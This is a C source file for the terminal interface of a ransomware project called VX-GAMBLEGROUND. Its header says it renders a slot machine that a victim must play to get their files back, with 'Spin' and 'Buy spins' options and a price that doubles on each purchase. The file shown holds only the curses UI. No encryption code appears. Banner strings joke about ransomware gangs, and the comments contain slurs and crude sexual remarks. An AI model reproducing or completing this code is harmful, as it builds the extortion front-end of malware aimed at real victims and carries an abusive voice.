/***
 * Screen - The actual point of this godforsaken project
 * 
 * This file's goal is to "render" a slot machine that the soon-to-be unlucky victim must play to get their
 * files back. To do this, I am using curses and probably the menu library to create the TUI. Once I figure
 * out how to actually do this, everything should work hopefully maybe
 * 
 */

#define _GNU_SOURCE

#include "screen.h"
#include <curses.h>
#include <locale.h>
#include <signal.h>
#include <sodium.h>
#include <unistd.h>
#include <errno.h>
#include <error.h>
#include <menu.h>
#include <time.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static const char *phrases[] = {
    // By @syxhe on telegram 
    "WE CLOWN IN THIS MF, TAKE YO SENSITIVE ASS BACK TO @GENTOOMEMES",
    "R.I.P VxHeaven",
    "tmp(2) nuked by Smelly",
    "99% of Ransomware Operators quit before compromising a bank",
    "Equation Group wuz here",
    "Lazarus wuz here",
    "LockBit wuz here",
    "Sponsored by Equation Group",
    "Sponsored by Lazarus",
    "Sponsored by LockBit",
    "Free my boy Ross Ulbricht he did nothing wrong",
    "Stay off the dark web, kids",
    "FREE BITCOIN JUST 3 SPINS AWAY",
    "We all glow in the dark",
    "Shoutouts to Simpleflips",
    "Shoutouts to BugHunter",
    "Shoutouts to EyeDeeKay",
    ":beecat:",
    ":3",
    "You think Jack Rhysider will interview me now?",
    "Check out \"Darknet Diaries\"",
    "Chill and losing it since 2016",
    "POOL'S CLOSED",
    "I've been diagnosed with snaids",
    "My balls itch",

    // by @danielsprofile on telegram
    "Daniel Spears loves femboys",
    "LizardSquad > Razer",
    "Sponsored by Major League Gaming",
    "Sponsored by LemonParty.org",
    "Sponsored by FTX",
    "RIP Harambe",
    "Shoutout Elliot Alderson",
    "Ted Kaczynski was right",
    "The FBI watches me jerk off to MILFs lol",
    "robux generator free online 2024 100% working undetected",
    "Doge wuz here",
    "We like Fortnite we like Fortnite",
    "We live in a society",
    "Hab you seen a alien pls?",
    "using a flipperzero makes me an APT, right?",
    "Subscribe to PewDiePie",
};

static const char *menu_choices[] = {
    "Spin",
    "Buy spins",
    "Quit"
};

void catcher(int signum, siginfo_t *info, void *ucontext) {
    // This is retarded lol, but makes gcc happy
    info->si_code = info->si_code;
    ucontext = ucontext;

    switch(signum) {
        case SIGINT:
            endwin();
            error(0, 0, "[VX-GAMBLEGROUND] Caught interrupt");
            exit(0);

        case SIGWINCH:
            endwin();
            error(1, 0, "[VX-GAMBLEGROUND] User changed window size and I haven't implemented code to handle it yet");
            abort(); // Makes gcc happy (angry about implicit fallthrough)

        default:
            abort();
    }

    return;
}

static struct sigaction handler = {.sa_flags = SA_SIGINFO, .sa_mask = SIGINT | SIGWINCH,  .sa_sigaction = catcher};

// Initialize sodium, curses, and set the proper locale. Exits on error, returns 0 otherwise
static int doinit(void) {
    if(sodium_init() < 0)
        error(1, errno, "[VX-GAMBLEGROUND] Could not initialize sodium");

    if(setlocale(LC_ALL, "") == NULL)  // Clear out the locale so it doesn't default to ncurses' ISO-8859-1 setting
        error(1, errno, "[VX-GAMBLEGROUND] Could not set proper locale");

    if(initscr() == NULL)   // Initialize curses
        error(1, errno, "[VX-GAMBLEGROUND] Could not init standard screen");

    if(sigaction(SIGINT, &handler, NULL) < 0 || sigaction(SIGWINCH, &handler, NULL) < 0)
        error(1, errno, "[VX-GAMBLEGROUND] Could not set up signal catcher");


    cbreak();               // Disables character buffering
    noecho();               // Disable echoing characters
    curs_set(0);            // Stop the cursor from blinking

    return 0;
}

// Initialize colors & define a few custom colors & color pairs. Exits on error, returns 0 otherwise
static int docolors(void) {
    if(has_colors() && can_change_color()) {      // Init colors if available & create color pairings
        start_color();

        // Init colors here
        // TODO: FIGURE OUT WHY COLORS ARE SO FUCKEY
            /* The colors were being weird because I was being retarded and redefining already existing colors
            // to numbers well outside curses' 0-1000 range. Making an enum that redefined the already existing 
            // curses colors made this go away. Also VSCode's terminal theming is fucking with it as well, so
            // use a normal terminal for accurate colors */
        
        init_rgb_color(CC_RED,      255,    0,      0);
        init_rgb_color(CC_ORANGE,   255,    128,    0);
        init_rgb_color(CC_YELLOW,   255,    255,    0);
        init_rgb_color(CC_GREEN,    0,      255,    0);
        init_rgb_color(CC_BLUE,     0,      0,      255);
        init_rgb_color(CC_PURPLE,   128,    0,      255);
        init_rgb_color(CC_MAGENTA,  255,    0,      255);
        init_rgb_color(CC_WHITE,    255,    255,    255);
        init_rgb_color(CC_BLACK,    0,      0,      0);

        init_pair(CCP_TESTING, CC_RED, CC_WHITE);
        init_pair(CCP_BANNER, CC_WHITE, CURSES_BLUE);

        init_pair(CCP_RED,      CC_WHITE, CC_RED);
        init_pair(CCP_ORANGE,   CC_BLACK, CC_ORANGE);
        init_pair(CCP_YELLOW,   CC_BLACK, CC_YELLOW);
        init_pair(CCP_GREEN,    CC_BLACK, CC_GREEN);
        init_pair(CCP_BLUE,     CC_WHITE, CC_BLUE);
        init_pair(CCP_PURPLE,   CC_WHITE, CC_PURPLE);
        init_pair(CCP_MAGENTA,  CC_WHITE, CC_MAGENTA);
        init_pair(CCP_WHITE,    CC_BLACK, CC_WHITE);
    } else {
        endwin();
        error(1, ENOTSUP, "[VX-GAMBLEGROUND] Colors are not supported on your terminal");
    }

    return 0;
}

static WINDOW* create_banner(int col, int randomnum) {
    // Create the banner window
    WINDOW *phrase = newwin(1, col, 0, 0);
    if(phrase == NULL) {
        endwin();
        error(1, errno, "[VX-GAMBLEGROUND] Could not create banner window");
    }
    wbkgd(phrase, COLOR_PAIR(CCP_BANNER));
    mvwaddstr(phrase, 0, 1, "VX-GAMBLEGROUND: ");
    waddstr(phrase, phrases[randomnum]);
    wnoutrefresh(phrase);

    return phrase;
}

// I will figure out how to properly pass a void pointer eventually (if I care enough)
static int init_items(ITEM *items[], const char *menuopts[], size_t menuopts_size, struct funcholder usrptrs[]) {
    for(size_t i = 0; i < menuopts_size; i++) {
        items[i] = new_item(menuopts[i], NULL);
        set_item_userptr(items[i], (void*)&usrptrs[i]);
    }
    items[menuopts_size] = NULL;

    return 0;
}

static int mvwcreate_box(WINDOW *win, int y, int x, int height, int width, const chtype chars[6]) {
    const chtype * realchars = chars;
    if(chars == NULL)
        realchars = (const chtype []){ACS_VLINE, ACS_HLINE, ACS_ULCORNER, ACS_URCORNER, ACS_LLCORNER, ACS_LRCORNER};

    // Vertical lines
    mvwvline(win, y, x, realchars[0], height);
    mvwvline(win, y, x + width - 1, realchars[0], height);

    // Horizontal lines
    mvwhline(win, y, x, realchars[1], width - 1);
    mvwhline(win, y + height - 1, x, realchars[1], width) - 1;

    // Corners
    mvwaddch(win, y, x, realchars[2]);                              // Upper left corner
    mvwaddch(win, y, x + width - 1, realchars[3]);                  // Upper right corner
    mvwaddch(win, y + height - 1, x, realchars[4]);                 // Lower left corner
    mvwaddch(win, y + height - 1, x + width - 1, realchars[5]);     // Lower right corner

    // Yeah I'm not happy about the magic numbers either, but this combo of shit makes the box draw correctly
    return 0;
}

static int init_slotholder(struct slotholder *slots) {
    mvwaddstr(slots->slotwin, 0, 1, "Spins: 3, Price: 1");
    wnoutrefresh(slots->slotwin);

    getmaxyx(slots->slotwin, slots->sloty, slots->slotx);
    for(size_t i = 0; i < STATIC_ARRSIZE(slots->subslot); i++) {
        slots->subslot[i] = derwin(slots->slotwin, slots->sloty, slots->slotx/3, 0, slots->slotx/3 * i);

        int mx = 0, my = 0;
        getmaxyx(slots->subslot[i], my, mx);

        const int height = my - 2, width = mx - 2;
        mvwcreate_box(slots->subslot[i], 1, 1, height, width, NULL);
        for(int j = 0; j < 3; j++) {
            slots->slotchar[i][j] = randombytes_uniform('~' - '!' + 1) + '!';
            mvwcreate_box(slots->subslot[i], 2 + (j * (height / 3)), (width / 4) - 1, height / 3, (width / 2) + 5 /*???????????*/, NULL);
        }

        wnoutrefresh(slots->subslot[i]);
    }

    // Not getting rid of the magic numbers. SUck it
    
    return 0;
}


static int init_custom_menu_format(WINDOW *menuholder, MENU *menu, const int fmtdim[2], Menu_Options toggleon, Menu_Options toggleoff) {
    // Set menu options & format
    set_menu_format(menu, fmtdim[0], fmtdim[1]);
    menu_opts_on(menu, toggleon);
    menu_opts_off(menu, toggleoff);

    int holder1 = -1, holder2 = -1;
    getmaxyx(menuholder, holder1, holder2);
    if(holder1  < 0 || holder2 < 0) {
        endwin();
        error(1, errno, "[VX-GAMBLEGROUND] Could not get bounds for menu subwindow");
    }
    set_menu_win(menu, menuholder);
    set_menu_sub(menu, derwin(menuholder, holder1, holder2, 0, 0));

    set_menu_mark(menu, NULL);
    post_menu(menu);
    wbkgd(menuholder, COLOR_PAIR(CCP_BANNER));
    set_menu_back(menu, COLOR_PAIR(CCP_BANNER));
    wnoutrefresh(menuholder);

    return 0;
}

int main() {
    doinit();
    docolors();

    // Variable definitions
    ITEM *items[STATIC_ARRSIZE(menu_choices) + 1];                  // An array of ITEM pointers large enough to store all the menu items
    struct funcholder *p = NULL;
    struct params params;                                    // Function pointer used for callbacks in the menu driver
    WINDOW *menuholder = NULL;                                      // The window for displaying the menu
    int row = -1, col = -1;                                         // The rows and columns of the main screen
    uint32_t randomnum;                                             // A random number for getting the banner phrase
    MENU *menu;                                                     // The actual menu object
    int c;                                                          // Integer for storing keys from user input

    struct funcholder userfuncs[] = {
        {.callback = spin,  .type = FH_SPIN},
        {.callback = buy,   .type = FH_BUY},
        {.callback = quit,  .type = FH_QUIT},
        {0}
    };

    struct slotholder slots;

    getmaxyx(stdscr, row, col);
    if(row < 0 || col < 0) {
        endwin();
        error(1, 0, "[VX-GAMBLEGROUND] Couldn't get max terminal size for some reason");
    }

    randomnum = randombytes_uniform(STATIC_ARRSIZE(phrases));

    WINDOW *banner = create_banner(col, randomnum);
    init_items(items, menu_choices, STATIC_ARRSIZE(menu_choices), userfuncs);

    // No point in moving this into a function
    menu = new_menu(items);
    if(menu == NULL) {
        endwin();
        error(1, errno, "Could not create menu");
    }

    // Set up the menuholder & init everything
    menuholder = newwin(1, col, row - 1, 0);
    keypad(menuholder, TRUE);    
    init_custom_menu_format(menuholder, menu, (int []){1, col}, O_ONEVALUE | O_IGNORECASE, O_SHOWDESC | O_NONCYCLIC);


    slots.slotwin = newwin(row - 2, col, 1, 0);
    if(slots.slotwin == NULL) {
        endwin();
        error(1, errno, "[VX-GAMBLEGROUND] Could not create slots window");
    }

    init_slotholder(&slots);

    doupdate();

    params.bannerwin = banner;
    params.menu = menu;
    params.menuholder = menuholder;
    params.numspins = 3;
    params.price = 1;
    params.slots = &slots;

    // Get user input and deal with the menu
    while((c = wgetch(menuholder)) != KEY_F(4)) {
        switch(c) {
            case KEY_DOWN:
                menu_driver(menu, REQ_DOWN_ITEM);
                break;

            case KEY_UP:
                menu_driver(menu, REQ_UP_ITEM);
                break;

            case KEY_LEFT:
                menu_driver(menu, REQ_LEFT_ITEM);
                break;

            case KEY_RIGHT:
                menu_driver(menu, REQ_RIGHT_ITEM);
                break;

            case KEY_ENTER: case FUCKED_UP_ENTER: // Enter
                p = (struct funcholder *)item_userptr(current_item(menu));
                switch(p->type) {
                    case FH_SPIN: case FH_BUY:
                        p->callback((void*)&params);
                        break;

                    case FH_QUIT:
                        p->callback(NULL);
                        break;

                    default:
                        endwin();
                        error(1, ENOTSUP, "SHIT BROKE");
                }

                break;

            default:
                break;
        }
    }

    // Clean up the menu
    unpost_menu(menu);
    free_menu(menu);
    for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++)
        free_item(items[i]);
    //*/

    endwin(); // Clean up curses
    return 0;
}

// Spin the wheel
int spin(void *params) {
    struct params *p = (struct params *)params;

    p->numspins -= 1;
    if(p->numspins < 0) {
        endwin();
        error(1, 0, "[VX-GAMBLEGROUND] You ran out of spins! Game Over!");
    }
    char *newstr = NULL;
    if(asprintf(&newstr, "Spins: %d, Price: %d", p->numspins, p->price) < 0) {
        endwin();
        error(1, errno, "[VX-GAMBLEGROUND] Shit brokey lol");
    }
    mvwaddstr(p->slots->slotwin, 0, 1, newstr);
    free(newstr);

    static const struct timespec sleeper = {
        .tv_sec = 0,
        .tv_nsec = 1000000000 /* Nanoseconds in 1 second */ / NUMCOLORPAIRS
    };

    for(int color = CCP_RED, i = 0; i < (NUMCOLORPAIRS * NUMCOLORCYCLE); color = rangemod(color, 1, CCP_RED, CCP_WHITE), i++) {
        // Change the color to testing for the banner
        wbkgd(p->bannerwin, COLOR_PAIR(color));
        wnoutrefresh(p->bannerwin);

        // Change the color to testing for the menu
        wbkgd(p->menuholder, COLOR_PAIR(color));
        set_menu_back(p->menu, COLOR_PAIR(color));
        wnoutrefresh(p->menuholder);

        for(size_t subs = 0; subs < STATIC_ARRSIZE(p->slots->subslot); subs++) {
            /* Previous solution fucked it by changing the actual color when it's supposed to be the default color to revert back to
            // This works better, but is also more ugly. So be it */
            wbkgd(p->slots->subslot[subs], COLOR_PAIR(rangemod(CCP_CURSES_DEFAULT, i + CCP_RED, CCP_RED, CCP_WHITE)));
            
            p->slots->slotchar[subs][2] = p->slots->slotchar[subs][1]; 
            p->slots->slotchar[subs][1] = p->slots->slotchar[subs][0]; 
            p->slots->slotchar[subs][0] = randombytes_uniform('~' - '!' + 1) + '!';

            // Update characters & draw them
            int my, mx;
            getmaxyx(p->slots->subslot[subs], my, mx);
            for(int j = 0; j < 3; j++) {
                mvwaddch(p->slots->subslot[subs], 2 + ((my - 2) / 6) + (((my - 2) / 3) * j), (mx - 1) / 2, p->slots->slotchar[subs][j]);
            }

            wnoutrefresh(p->slots->subslot[subs]);
        }

        doupdate();
        nanosleep(&sleeper, NULL);
    }

    // Revert colors back to normal
    wbkgd(p->bannerwin, COLOR_PAIR(CCP_BANNER));
    wnoutrefresh(p->bannerwin);

    wbkgd(p->menuholder, COLOR_PAIR(CCP_BANNER));
    set_menu_back(p->menu, COLOR_PAIR(CCP_BANNER));
    wnoutrefresh(p->menuholder);

    for(size_t i = 0; i < STATIC_ARRSIZE(p->slots->subslot); i++) {
        wbkgd(p->slots->subslot[i], COLOR_PAIR(CCP_CURSES_DEFAULT));
        wnoutrefresh(p->slots->subslot[i]);
    }

    doupdate();

    return 0;
}

// Increase number of spins
int buy(void *params) {
    struct params *p = (struct params *)params;
    
    if(p->numspins >= 100)
        return 0;

    p->numspins += 3;
    if(p->price <= 2000000)
        p->price *= 2;


    char *newstring = NULL;
    if(asprintf(&newstring, "Spins: %d, Price: %d", p->numspins, p->price) < 0) {
       endwin();
       error(1, errno, "[VX-GAMBLEGROUND] Could not allocate space for spin/price string");
    }

    mvwaddstr(p->slots->slotwin, 0, 1, newstring);
    free(newstring);

    wnoutrefresh(p->slots->slotwin);
    doupdate();

    return 0;
}

// Quit out
int quit(void *params) {


    endwin();
    error(0, 0, "quit");
    exit(0);

    return 0;
}



float normalize(float value, float oldmin, float oldmax, float newmin, float newmax) {
    // x(normal) = (b - a) * ((x - x(min)) / (max x - min x)) + a, where [a, b] is the new range
    return (newmax - newmin) * ((value - oldmin) / (oldmax - oldmin)) + newmin;
}

int rangemod(int x, int offset, int min, int max) {
    return ((x - min + offset) % (max - min + 1)) + min;
}

static int init_rgb_color(int colornum, int red, int green, int blue) {
    int nred    = normalize(red,    RGB_MIN, RGB_MAX, CURSESCOLOR_MIN, CURSESCOLOR_MAX);
    int ngreen  = normalize(green,  RGB_MIN, RGB_MAX, CURSESCOLOR_MIN, CURSESCOLOR_MAX);
    int nblue   = normalize(blue,   RGB_MIN, RGB_MAX, CURSESCOLOR_MIN, CURSESCOLOR_MAX);

    return init_color(colornum, nred, ngreen, nblue);
}